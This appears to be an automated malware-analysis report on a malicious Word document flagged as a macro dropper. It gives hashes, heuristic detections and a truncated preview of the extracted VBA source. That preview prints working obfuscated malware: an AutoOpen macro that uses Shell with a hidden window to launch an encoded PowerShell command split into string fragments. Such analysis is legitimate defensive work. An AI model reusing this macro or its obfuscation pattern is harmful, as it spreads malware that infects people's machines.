Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 de3a4f147735f135…

MALICIOUS

Office (OLE)

118.5 KB Created: 2018-05-24 08:05:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: e8cf80366882b22b37478550fea21bd3 SHA-1: 4a3acf134f0933cbdac5c6b01e4e2c41ae2e9568 SHA-256: de3a4f147735f13589e2b22e71a2aa070d9522bf537cb8005a2fa433f22d364c
242 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6555924-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6555924-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17189 bytes
SHA-256: 7f6940c0df7155d321ba508c1294cadbed87eaad5e013d60a421649816173a32
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SIENVrpqsEzaR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function NTDpKIPNr()
On Error Resume Next
CRtCR = kvJpp - Cos(CBtDHb) * 1 - Chr(48747) / 18555 - ChrB(ICjSJ)
FqlYV = 9412
lhHnjj = mSiZSK - Cos(jSCYlB) * 1 - Chr(66815) / 88474 - ChrB(JjIGi)
YRUWS = 31326
NTDpKIPNr = kwMZBuC + IUXizuBmja + wvQmuaJ + nBFqnwDUcKn + MhMNHln + vTizN + YubADWTq + ZOlKRIzcQfJ + DzITv + DcoYUfaIKm
wUvpL = qTKAwV - Cos(XizjD) * 1 - Chr(3454) / 84020 - ChrB(wDXdS)
uRFvrP = 45002
End Function
Sub Autoopen()
On Error Resume Next
icvpC = vzjKl - Cos(jpRkS) * 1 - Chr(31730) / 47306 - ChrB(zQXMsw)
CEEGFz = 1865
adDibd (NTDpKIPNr)
XnOzn = wTNrK - Cos(FzUcb) * 1 - Chr(83295) / 57625 - ChrB(RFjwD)
tufDj = 18187
End Sub
Function adDibd(EIoMGp)
On Error Resume Next
puzEQk = wzJVi - Cos(qCkbfO) * 1 - Chr(40596) / 53801 - ChrB(RERwfd)
oKLAV = 30243
XYKGH = UvOOGR - Cos(JEXSoD) * 1 - Chr(13889) / 55611 - ChrB(mUFtuI)
KhbazN = 5512
kZIrcrZiz = Shell(bFqQBzIGwC + Chr(vbKeyP) + jTOXNP + EIoMGp, vbHide)
HNBNW = DqOmuk - Cos(sMRIci) * 1 - Chr(72015) / 81525 - ChrB(NfLwE)
iqtwBD = 20908
End Function


Attribute VB_Name = "BtGDjiqGzYM"
Function kwMZBuC()
On Error Resume Next
wrcPok = DCERqK - Cos(brVBUz) * 1 - Chr(71813) / 78175 - ChrB(GtTRXP)
NNcZO = 54015
iirsI = "owersHeLL -Wi" + "nDowsTyle hidde" + "n -e KAAo" + "ACIAewAxADMAOQB" + "9AHsANgB9AHsAOQ" + "AxAH0AewA3ADQ" + "AfQB7ADEAMQA"
XqbmD = AzkIlG - Cos(zzszvK) * 1 - Chr(88203) / 40761 - ChrB(USVot)
EOkTzq = 97241
CTDUX = "wAH0AewAyADkAf" + "QB7ADgAMwB" + "9AHsAMg" + "A2AH0AewA" + "4AH0AewA5ADA"
sLhoz = JKfQd - Cos(NVcdE) * 1 - Chr(65811) / 60785 - ChrB(WIQPG)
uWXSH = 92438
PjiBpTndO = "AfQB7AD" + "EAMQAxAH0AewAxA" + "H0AewA5ADMAf" + "QB7ADEAMAA5A" + "H0AewAxADQAM"
pzoNVw = MJmEL - Cos(dilHPR) * 1 - Chr(20661) / 95134 - ChrB(kuSioM)
nNJjMX = 42850
PaDGQOL = "wB9AH" + "sAOAAwAH0A" + "ewA2ADMAfQ" + "B7ADgAM" + "QB9AHsAOAA2AH" + "0AewAxADIA" + "MAB9AHsAO" + "QA2AH0AewA" + "4ADcAfQB7ADI" + "ANAB9AHsAMQ"
PilSoM = MEYfM - Cos(QCplBB) * 1 - Chr(28130) / 88996 - ChrB(nIAZWZ)
iUGMzr = 63393
mAcjiCjdpNS = "AzADcAfQ" + "B7ADkAN" + "QB9AHsAMQAxADY" + "AfQB7ADYAMQB" + "9AHsAMQAyADUA" + "fQB7ADE" + "AMwAzAH0AewAxAD" + "AAMwB9AHsANA"
sJbPiO = IACWK - Cos(vLVHt) * 1 - Chr(39623) / 90698 - ChrB(ROpwRa)
YznZV = 20327
sGNLuO = "A1AH0Ae" + "wA2ADkAfQB7ADQ" + "AfQB7ADEA" + "MwB9A" + "HsAMgA3A"
sazMhd = zXAOai - Cos(kEDWl) * 1 - Chr(3027) / 51634 - ChrB(mSQnFj)
OzoJC = 36939
fpcPzDIA = "H0AewAx" + "ADIAMgB9AHsANAA" + "yAH0A" + "ewA3AD" + "UAfQB7" + "ADEAMwA1AH0" + "AewA0ADcAfQB7A"
IhnRiS = phqruo - Cos(kCkIRz) * 1 - Chr(76683) / 62999 - ChrB(tYPwJD)
Rfqpw = 42093
tiYGpkw = "DEAMgA4AH0Aew" + "A1ADMAfQB7ADYAN" + "wB9AHsAMQA0ADAA" + "fQB7ADEAMQA5A"
UWIEzl = wKvGi - Cos(EAkWHb) * 1 - Chr(72417) / 89269 - ChrB(PThlHY)
EwzOT = 29934
CDnuOJAz = "H0AewA2ADIAfQB" + "7ADUANQB9AHs" + "AMQAzA" + "DQAfQB" + "7ADMAMAB9AHsAMw" + "AzAH0AewA" + "5ADkAfQB7ADEAMA" + "A2AH0AewA"
kwMZBuC = iirsI + CTDUX + PjiBpTndO + PaDGQOL + mAcjiCjdpNS + sGNLuO + fpcPzDIA + tiYGpkw + CDnuOJAz
End Function
Function IUXizuBmja()
On Error Resume Next
JsqvWz = TriJU - Cos(uThVk) * 1 - Chr(78133) / 53163 - ChrB(pXLdA)
FwIQap = 27018
WPJiHWJRsKt = "xADIANAB" + "9AHsAMQ" + "AwADQAfQB" + "7ADEAMgA3AH0" + "AewA5ADIAfQ"
dQfPzi = cCcmHR - Cos(Rcdfni) * 1 - Chr(38405) / 39757 - ChrB(SVNHWi)
ifDSp = 32449
VjtHBPEwWE = "B7ADUANwB9" + "AHsAMgA1AH0" + "AewAzADgAf" + "QB7ADEAN" + "AB9AHsAM" + "gA4AH0Aew" + "AxADkAfQB7ADE"
UrwLNU = qtSVfj - Cos(vBjHJm) * 1 - Chr(26511) / 88605 - ChrB(XZtotH)
wuAmJ = 76673
wNKXRkFQiE = "ANQB9AH" + "sAMgB9AHsAMQAwA" + "DEAfQB7" + "ADkANwB9" + "AHsAMQAz" + "ADEAfQB7ADEAM" + "wA4AH0Aew"
TGzvbb = mqBbni - Cos(Ljiba) * 1 - Chr(14165) / 49309 - ChrB(TfpjqT)
fudHKP = 1800
cqcNkUIMR = "AxADMANg" + "B9AHsAMQAxAH0Ae" + "wA1AH0AewA3AD" + "EAfQB7ADEAMQA0" + "AH
... (truncated)

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